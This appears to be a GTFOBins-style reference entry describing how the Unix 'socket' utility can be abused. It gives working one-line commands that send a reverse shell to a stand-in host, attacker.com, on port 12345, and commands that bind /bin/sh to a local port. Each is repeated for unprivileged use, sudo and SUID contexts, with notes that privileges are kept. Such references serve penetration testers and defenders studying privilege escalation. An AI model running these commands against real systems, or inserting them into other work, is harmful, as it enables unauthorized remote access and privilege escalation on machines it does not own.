This executable can send back a reverse system shell to a listening attacker.
This function can be performed by any unprivileged user.
socket -qvp '/bin/sh -i' attacker.com 12345
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
socket -qvp '/bin/sh -i' attacker.com 12345
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
socket -qvp '/bin/sh -i' attacker.com 12345
This executable can bind a system shell to a local port waiting for an attacker to connect.
This function can be performed by any unprivileged user.
socket -svp '/bin/sh -i' 12345
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
socket -svp '/bin/sh -i' 12345
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
socket -svp '/bin/sh -i' 12345